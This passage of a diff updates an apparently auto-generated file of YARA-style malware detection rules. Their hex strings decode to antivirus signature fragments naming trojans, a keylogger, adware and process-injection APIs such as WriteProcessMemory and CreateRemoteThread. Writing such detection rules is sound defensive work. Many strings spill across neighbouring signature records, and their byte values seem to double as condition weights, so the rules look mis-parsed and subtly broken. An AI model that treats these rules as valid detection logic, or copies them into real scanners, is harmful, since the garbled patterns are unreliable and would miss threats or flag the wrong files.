02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 64 69 65 2e 41 42 21 4d 54 42 00 01 00 28 01 48 8b 4f 10 48 89 c8 48 c1 e8 02 89 44 24 44 49 89 c9 49 f7 d1 4c 89 ca 48 83 e2 fc 83 e1 03 48 09 d1 49 31 c9 49 21 c9 01 00 1c 01 0f 9c 44 24 38 89 d8 44 08 d0 34 01 44 30 d3 41 89 c2 41 } //393 condition: ((#a_4c_0 & 1)*21539+(#a_84_1 & 1)*393) >=2 } -rule _InfrastructureShared_7252{ +rule _InfrastructureShared_7667{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 64 69 65 2e 41 42 21 4d 54 42 00 01 00 28 01 48 8b 4f 10 48 89 c8 48 c1 e8 02 89 44 24 44 49 89 c9 49 f7 d1 4c 89 ca 48 83 e2 fc 83 e1 03 48 09 d1 49 31 c9 49 21 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_7668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -76096,7 +80508,7 @@ rule _InfrastructureShared_7252{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*13059+(#a_2d_2 & 1)*26999) >=2 } -rule _InfrastructureShared_7253{ +rule _InfrastructureShared_7669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -76108,7 +80520,7 @@ rule _InfrastructureShared_7253{ ((#a_46_0 & 1)*16675+(#a_84_1 & 1)*-18929+(#a_77_2 & 1)*4096) >=2 } -rule _InfrastructureShared_7254{ +rule _InfrastructureShared_7670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -76120,7 +80532,7 @@ rule _InfrastructureShared_7254{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*29812+(#a_65_2 & 1)*12082) >=2 } -rule _InfrastructureShared_7255{ +rule _InfrastructureShared_7671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -76131,7 +80543,7 @@ rule _InfrastructureShared_7255{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*27506) >=2 } -rule _InfrastructureShared_7256{ +rule _InfrastructureShared_7672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -76144,7 +80556,7 @@ rule _InfrastructureShared_7256{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25134+(#a_45_2 & 1)*20291+(#a_c1_3 & 1)*17408) >=2 } -rule _InfrastructureShared_7257{ +rule _InfrastructureShared_7673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -76157,7 +80569,7 @@ rule _InfrastructureShared_7257{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*4096+(#a_02_2 & 1)*-28636+(#a_24_3 & 1)*-29952) >=2 } -rule _InfrastructureShared_7258{ +rule _InfrastructureShared_7674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -76167,7 +80579,7 @@ rule _InfrastructureShared_7258{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_7259{ +rule _InfrastructureShared_7675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76178,7 +80590,7 @@ rule _InfrastructureShared_7259{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*47) >=3 } -rule _InfrastructureShared_7260{ +rule _InfrastructureShared_7676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76190,7 +80602,7 @@ rule _InfrastructureShared_7260{ ((#a_63_0 & 1)*17699+(#a_63_1 & 1)*18490+(#a_74_2 & 1)*0) >=3 } -rule _InfrastructureShared_7261{ +rule _InfrastructureShared_7677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76201,7 +80613,7 @@ rule _InfrastructureShared_7261{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101) >=3 } -rule _InfrastructureShared_7262{ +rule _InfrastructureShared_7678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76213,7 +80625,7 @@ rule _InfrastructureShared_7262{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*-30484+(#a_01_2 & 1)*-31764) >=3 } -rule _InfrastructureShared_7263{ +rule _InfrastructureShared_7679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76225,7 +80637,7 @@ rule _InfrastructureShared_7263{ ((#a_54_0 & 1)*18467+(#a_7f_1 & 1)*785+(#a_01_2 & 1)*-28636) >=3 } -rule _InfrastructureShared_7264{ +rule _InfrastructureShared_7680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76237,7 +80649,7 @@ rule _InfrastructureShared_7264{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*785+(#a_ae_2 & 1)*785) >=3 } -rule _InfrastructureShared_7265{ +rule _InfrastructureShared_7681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76249,7 +80661,7 @@ rule _InfrastructureShared_7265{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-5429+(#a_44_2 & 1)*4) >=3 } -rule _InfrastructureShared_7266{ +rule _InfrastructureShared_7682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76261,7 +80673,7 @@ rule _InfrastructureShared_7266{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-20795+(#a_44_2 & 1)*4) >=3 } -rule _InfrastructureShared_7267{ +rule _InfrastructureShared_7683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76273,7 +80685,7 @@ rule _InfrastructureShared_7267{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*11884+(#a_90_2 & 1)*-14592) >=3 } -rule _InfrastructureShared_7268{ +rule _InfrastructureShared_7684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76285,7 +80697,7 @@ rule _InfrastructureShared_7268{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-24887+(#a_44_2 & 1)*4) >=3 } -rule _InfrastructureShared_7269{ +rule _InfrastructureShared_7685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76297,7 +80709,7 @@ rule _InfrastructureShared_7269{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26984+(#a_6c_2 & 1)*25700) >=3 } -rule _InfrastructureShared_7270{ +rule _InfrastructureShared_7686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76309,7 +80721,7 @@ rule _InfrastructureShared_7270{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29548+(#a_65_2 & 1)*28005) >=3 } -rule _InfrastructureShared_7271{ +rule _InfrastructureShared_7687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76321,7 +80733,7 @@ rule _InfrastructureShared_7271{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*-32496+(#a_6e_2 & 1)*25445) >=3 } -rule _InfrastructureShared_7272{ +rule _InfrastructureShared_7688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76332,29 +80744,41 @@ rule _InfrastructureShared_7272{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*1396) >=3 } -rule _InfrastructureShared_7273{ +rule _InfrastructureShared_7689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 42 72 6f 77 73 65 72 50 69 6e 6e 65 72 00 01 00 16 01 5c 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 6c 6e 6b 01 00 15 01 5c 55 73 65 72 20 50 69 6e 6e 65 64 5c 54 61 73 6b 42 61 72 5c 01 00 14 01 5c 4d 6f 7a 69 6c 6c 61 20 46 69 72 65 66 6f 78 2e 6c 6e 6b 00 00 78 74 00 00 03 00 03 } //19491 - $a_66_2 = {3a 48 53 54 52 3a 69 42 72 79 74 65 00 02 00 20 01 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 00 49 6e 73 74 61 6c 6c 65 72 00 3c 4d 6f 64 75 6c 65 3e 02 00 1f 01 49 6e 73 74 61 6c 6c 65 72 2e 69 6e 73 74 61 6c 6c 2e 63 6c 65 61 6e 2e 65 6e 63 2e 7a 69 70 01 00 0d 01 53 6d 61 72 74 41 73 73 65 6d 62 6c 79 00 00 78 74 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a } //28492 + $a_66_2 = {3a 48 53 54 52 3a 69 42 72 79 74 65 00 02 00 20 01 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 00 49 6e 73 74 61 6c 6c 65 72 00 3c 4d 6f 64 75 6c 65 3e 02 00 1f 01 49 6e 73 74 61 6c 6c 65 72 2e 69 6e 73 74 61 6c 6c 2e 63 6c 65 61 6e 2e 65 6e 63 2e 7a 69 70 01 00 0d 01 53 6d 61 72 74 41 73 73 65 6d 62 6c 79 00 00 78 74 00 00 03 00 03 00 03 00 21 23 50 55 41 3a } //28492 condition: ((#a_77_0 & 1)*19491+(#a_66_2 & 1)*28492) >=3 } -rule _InfrastructureShared_7274{ +rule _InfrastructureShared_7690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 69 42 72 79 74 65 00 02 00 20 01 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 00 49 6e 73 74 61 6c 6c 65 72 00 3c 4d 6f 64 75 6c 65 3e 02 00 1f 01 49 6e 73 74 61 6c 6c 65 72 2e 69 6e 73 74 61 6c 6c 2e 63 6c 65 61 6e 2e 65 6e 63 2e 7a 69 70 01 00 0d 01 53 6d 61 72 74 41 73 73 65 6d 62 6c 79 00 00 78 74 00 00 03 00 03 } //19491 - $a_3a_2 = {69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 2e 46 00 01 00 19 03 48 b9 0f 2a 9b cd 00 00 00 00 51 48 83 ec 28 e8 90 01 04 48 83 c4 28 90 00 01 00 19 03 48 b9 2f 1a bf ff 00 00 00 00 51 48 83 ec 28 e8 90 01 04 48 } //19539 + $a_3a_2 = {53 54 52 3a 75 54 6f 72 72 65 6e 74 5f 55 6e 6f 66 66 69 63 69 61 6c 00 01 00 0f 01 77 77 77 2e 75 74 6f 72 72 65 6e 74 2e 63 7a 01 00 17 01 4e 6f 20 41 64 77 61 72 65 20 43 7a 65 63 68 20 45 64 } //21840 condition: - ((#a_77_0 & 1)*19491+(#a_3a_2 & 1)*19539) >=3 + ((#a_77_0 & 1)*19491+(#a_3a_2 & 1)*21840) >=3 } -rule _InfrastructureShared_7275{ +rule _InfrastructureShared_7691{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_41_0 = {48 53 54 52 3a 75 54 6f 72 72 65 6e 74 5f 55 6e 6f 66 66 69 63 69 61 6c 00 01 00 0f 01 77 77 77 2e 75 74 6f 72 72 65 6e 74 2e 63 7a 01 00 17 01 4e 6f 20 41 64 77 61 72 65 20 43 7a 65 63 68 20 45 64 69 74 69 6f 6e 01 00 1b 01 54 68 65 20 50 69 72 61 74 65 } //20515 + $a_79_1 = {74 68 65 70 69 72 61 74 65 62 61 79 00 00 78 74 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 2e 46 00 01 00 19 03 48 b9 0f 2a 9b cd 00 00 00 00 51 48 83 ec 28 e8 90 01 04 48 83 c4 28 90 00 01 00 19 03 48 b9 2f 1a bf ff 00 00 00 00 51 48 83 ec 28 e8 } //16928 + $a_48_2 = {c4 28 } //400 + condition: + ((#a_41_0 & 1)*20515+(#a_79_1 & 1)*16928+(#a_48_2 & 1)*400) >=3 + +} +rule _InfrastructureShared_7692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -76366,7 +80790,7 @@ rule _InfrastructureShared_7275{ ((#a_46_0 & 1)*21283+(#a_03_1 & 1)*1+(#a_74_2 & 1)*0) >=3 } -rule _InfrastructureShared_7276{ +rule _InfrastructureShared_7693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -76379,7 +80803,7 @@ rule _InfrastructureShared_7276{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*29797+(#a_6e_2 & 1)*28515+(#a_00_3 & 1)*18249) >=3 } -rule _InfrastructureShared_7277{ +rule _InfrastructureShared_7694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -76392,7 +80816,7 @@ rule _InfrastructureShared_7277{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29295+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 } -rule _InfrastructureShared_7278{ +rule _InfrastructureShared_7695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -76403,7 +80827,7 @@ rule _InfrastructureShared_7278{ ((#a_77_0 & 1)*16675+(#a_00_3 & 1)*3) >=3 } -rule _InfrastructureShared_7279{ +rule _InfrastructureShared_7696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -76415,7 +80839,7 @@ rule _InfrastructureShared_7279{ ((#a_5f_0 & 1)*25635+(#a_52_2 & 1)*21320+(#a_56_3 & 1)*3584) >=3 } -rule _InfrastructureShared_7280{ +rule _InfrastructureShared_7697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 04 00 21 " @@ -76427,7 +80851,7 @@ rule _InfrastructureShared_7280{ ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*22017+(#a_00_3 & 1)*25976) >=3 } -rule _InfrastructureShared_7281{ +rule _InfrastructureShared_7698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -76438,7 +80862,7 @@ rule _InfrastructureShared_7281{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*30821) >=4 } -rule _InfrastructureShared_7282{ +rule _InfrastructureShared_7699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -76449,7 +80873,7 @@ rule _InfrastructureShared_7282{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*16748) >=4 } -rule _InfrastructureShared_7283{ +rule _InfrastructureShared_7700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -76461,7 +80885,7 @@ rule _InfrastructureShared_7283{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*400+(#a_41_3 & 1)*-22016) >=4 } -rule _InfrastructureShared_7284{ +rule _InfrastructureShared_7701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -76474,7 +80898,7 @@ rule _InfrastructureShared_7284{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28786+(#a_64_2 & 1)*27905+(#a_20_3 & 1)*9045) >=4 } -rule _InfrastructureShared_7285{ +rule _InfrastructureShared_7702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -76487,7 +80911,7 @@ rule _InfrastructureShared_7285{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28525+(#a_30_2 & 1)*11893+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_7286{ +rule _InfrastructureShared_7703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -76500,7 +80924,7 @@ rule _InfrastructureShared_7286{ ((#a_4c_0 & 1)*21539+(#a_34_1 & 1)*9518+(#a_6e_2 & 1)*22330+(#a_23_3 & 1)*4) >=4 } -rule _InfrastructureShared_7287{ +rule _InfrastructureShared_7704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -76512,19 +80936,19 @@ rule _InfrastructureShared_7287{ ((#a_6f_0 & 1)*21539+(#a_6f_1 & 1)*8993+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_7288{ +rule _InfrastructureShared_7705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 12 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 12 01 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 01 00 0c 00 4c 6f 61 64 52 65 73 6f 75 72 63 65 01 00 11 03 55 8b ec 83 c4 f0 b8 90 01 04 e8 90 01 04 e9 90 00 00 00 78 74 00 00 05 00 05 } //25635 $a_3a_2 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6f 6c 61 72 4d 61 72 6b 65 72 2e 5a 59 00 05 00 47 03 16 1f 77 9d 11 90 01 01 17 1f 6f 9d 11 90 01 01 18 1f 72 9d 11 90 01 01 19 1f 6b 9d 11 90 01 01 1a 1f 67 9d 11 90 01 01 } //19521 - $a_9d_3 = {90 01 01 1c 1f 6f 9d 11 90 01 01 1d 1f 75 9d 11 90 01 01 1e 1f 70 9d 11 90 00 00 00 78 74 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 65 79 6c 6f 67 67 65 72 2e 50 47 4b 21 4d 54 42 00 02 00 2d 03 0a 06 17 6f 90 01 01 00 00 0a 0d 09 14 fe 01 13 04 11 04 2c 0e 00 7e 90 01 01 00 00 0a 06 6f 90 01 01 00 00 } //7963 + $a_9d_3 = {90 01 01 1c 1f 6f 9d 11 90 01 01 1d 1f 75 9d 11 90 01 01 1e 1f 70 9d 11 90 00 00 00 78 74 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 41 73 6b 54 6f 6f 6c 62 61 72 2e 61 77 34 38 00 02 00 11 80 01 41 73 6b 53 65 61 72 63 68 41 73 73 74 2e 69 6e 69 01 00 07 80 01 41 73 6b 2e 63 6f 6d 01 00 13 80 01 74 72 61 63 6b } //7963 condition: ((#a_5f_0 & 1)*25635+(#a_3a_2 & 1)*19521+(#a_9d_3 & 1)*7963) >=4 } -rule _InfrastructureShared_7289{ +rule _InfrastructureShared_7706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -76534,18 +80958,19 @@ rule _InfrastructureShared_7289{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_7290{ +rule _InfrastructureShared_7707{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 65 79 6c 6f 67 67 65 72 2e 50 47 4b 21 4d 54 42 00 02 00 2d 03 0a 06 17 6f 90 01 01 00 00 0a 0d 09 14 fe 01 13 04 11 04 2c 0e 00 7e 90 01 01 00 00 0a 06 6f 90 01 01 00 } //21539 - $a_00_1 = {09 07 08 6f 90 00 03 00 13 01 6d 00 6f } //2560 + $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 41 73 6b 54 6f 6f 6c 62 61 72 2e 61 77 34 38 00 02 00 11 80 01 41 73 6b 53 65 61 72 63 68 41 73 73 74 2e 69 6e 69 01 00 07 80 01 41 73 6b 2e 63 6f 6d 01 00 13 80 01 74 72 61 63 6b 2e 69 64 6f 77 6e } //16675 + $a_64_1 = {6f 72 67 01 00 0d 80 01 66 69 6c 65 7a 69 6c 6c 61 2e 65 78 65 00 00 78 74 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 4e 74 4d 61 70 56 69 65 77 00 01 00 0b 80 01 4f 70 65 6e 50 72 6f 63 65 73 73 01 00 0d 80 01 43 72 65 61 74 65 50 72 6f 63 65 73 } //28524 + $a_74_3 = {72 65 61 74 65 53 65 63 74 69 6f 6e 02 00 12 80 01 4e 74 4d 61 70 56 69 65 77 4f 66 53 65 63 74 69 6f 6e 00 00 78 74 00 00 05 00 05 00 05 00 21 23 41 54 54 52 49 42 55 54 45 3a 50 55 41 3a 4e 73 63 6d 6b 21 62 69 74 00 01 00 0f 01 48 } //384 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*2560) >=5 + ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28524+(#a_74_3 & 1)*384) >=5 } -rule _InfrastructureShared_7291{ +rule _InfrastructureShared_7708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -76558,7 +80983,7 @@ rule _InfrastructureShared_7291{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*19969+(#a_54_2 & 1)*3840+(#a_6f_3 & 1)*26997) >=5 } -rule _InfrastructureShared_7292{ +rule _InfrastructureShared_7709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -76572,7 +80997,7 @@ rule _InfrastructureShared_7292{ ((#a_54_0 & 1)*16675+(#a_54_1 & 1)*3840+(#a_6f_2 & 1)*26997+(#a_61_3 & 1)*30307+(#a_57_4 & 1)*21076) >=5 } -rule _InfrastructureShared_7293{ +rule _InfrastructureShared_7710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -76584,7 +81009,7 @@ rule _InfrastructureShared_7293{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_74_2 & 1)*0) >=5 } -rule _InfrastructureShared_7294{ +rule _InfrastructureShared_7711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -76598,7 +81023,7 @@ rule _InfrastructureShared_7294{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29300+(#a_5a_2 & 1)*27202+(#a_04_3 & 1)*-28632+(#a_90_4 & 1)*776) >=5 } -rule _InfrastructureShared_7295{ +rule _InfrastructureShared_7712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -76609,7 +81034,7 @@ rule _InfrastructureShared_7295{ ((#a_4c_0 & 1)*21539+(#a_55_1 & 1)*7680) >=6 } -rule _InfrastructureShared_7296{ +rule _InfrastructureShared_7713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -76619,7 +81044,7 @@ rule _InfrastructureShared_7296{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7297{ +rule _InfrastructureShared_7714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -76630,7 +81055,7 @@ rule _InfrastructureShared_7297{ ((#a_54_0 & 1)*18467+(#a_88_1 & 1)*-30198) >=10 } -rule _InfrastructureShared_7298{ +rule _InfrastructureShared_7715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 06 00 03 00 21 " @@ -76642,7 +81067,7 @@ rule _InfrastructureShared_7298{ ((#a_46_0 & 1)*16675+(#a_c1_1 & 1)*-13897+(#a_90_2 & 1)*-29951) >=6 } -rule _InfrastructureShared_7299{ +rule _InfrastructureShared_7716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -76654,7 +81079,7 @@ rule _InfrastructureShared_7299{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*18177+(#a_07_2 & 1)*-11768) >=12 } -rule _InfrastructureShared_7300{ +rule _InfrastructureShared_7717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -76666,7 +81091,7 @@ rule _InfrastructureShared_7300{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*25927+(#a_78_2 & 1)*20596) >=12 } -rule _InfrastructureShared_7301{ +rule _InfrastructureShared_7718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -76678,7 +81103,7 @@ rule _InfrastructureShared_7301{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*384+(#a_00_3 & 1)*12288) >=13 } -rule _InfrastructureShared_7302{ +rule _InfrastructureShared_7719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -76689,7 +81114,7 @@ rule _InfrastructureShared_7302{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*11529) >=20 } -rule _InfrastructureShared_7303{ +rule _InfrastructureShared_7720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 05 00 21 " @@ -76700,7 +81125,7 @@ rule _InfrastructureShared_7303{ ((#a_77_0 & 1)*19491+(#a_52_2 & 1)*21320) >=21 } -rule _InfrastructureShared_7304{ +rule _InfrastructureShared_7721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 05 00 21 " @@ -76714,7 +81139,7 @@ rule _InfrastructureShared_7304{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25528+(#a_4f_2 & 1)*20306+(#a_32_3 & 1)*13357+(#a_00_4 & 1)*0) >=22 } -rule _InfrastructureShared_7305{ +rule _InfrastructureShared_7722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -76726,7 +81151,7 @@ rule _InfrastructureShared_7305{ ((#a_4e_0 & 1)*20259+(#a_4e_1 & 1)*19536+(#a_37_3 & 1)*12339) >=40 } -rule _InfrastructureShared_7306{ +rule _InfrastructureShared_7723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 05 00 21 " @@ -76739,7 +81164,7 @@ rule _InfrastructureShared_7306{ ((#a_46_0 & 1)*16675+(#a_69_2 & 1)*26113+(#a_80_3 & 1)*400+(#a_ec_4 & 1)*1420) >=50 } -rule _InfrastructureShared_7307{ +rule _InfrastructureShared_7724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -76750,7 +81175,7 @@ rule _InfrastructureShared_7307{ ((#a_6f_0 & 1)*21539+(#a_4c_1 & 1)*8993) >=200 } -rule _InfrastructureShared_7308{ +rule _InfrastructureShared_7725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76760,7 +81185,7 @@ rule _InfrastructureShared_7308{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7309{ +rule _InfrastructureShared_7726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76770,7 +81195,7 @@ rule _InfrastructureShared_7309{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7310{ +rule _InfrastructureShared_7727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76780,7 +81205,7 @@ rule _InfrastructureShared_7310{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7311{ +rule _InfrastructureShared_7728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76790,7 +81215,7 @@ rule _InfrastructureShared_7311{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7312{ +rule _InfrastructureShared_7729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76800,7 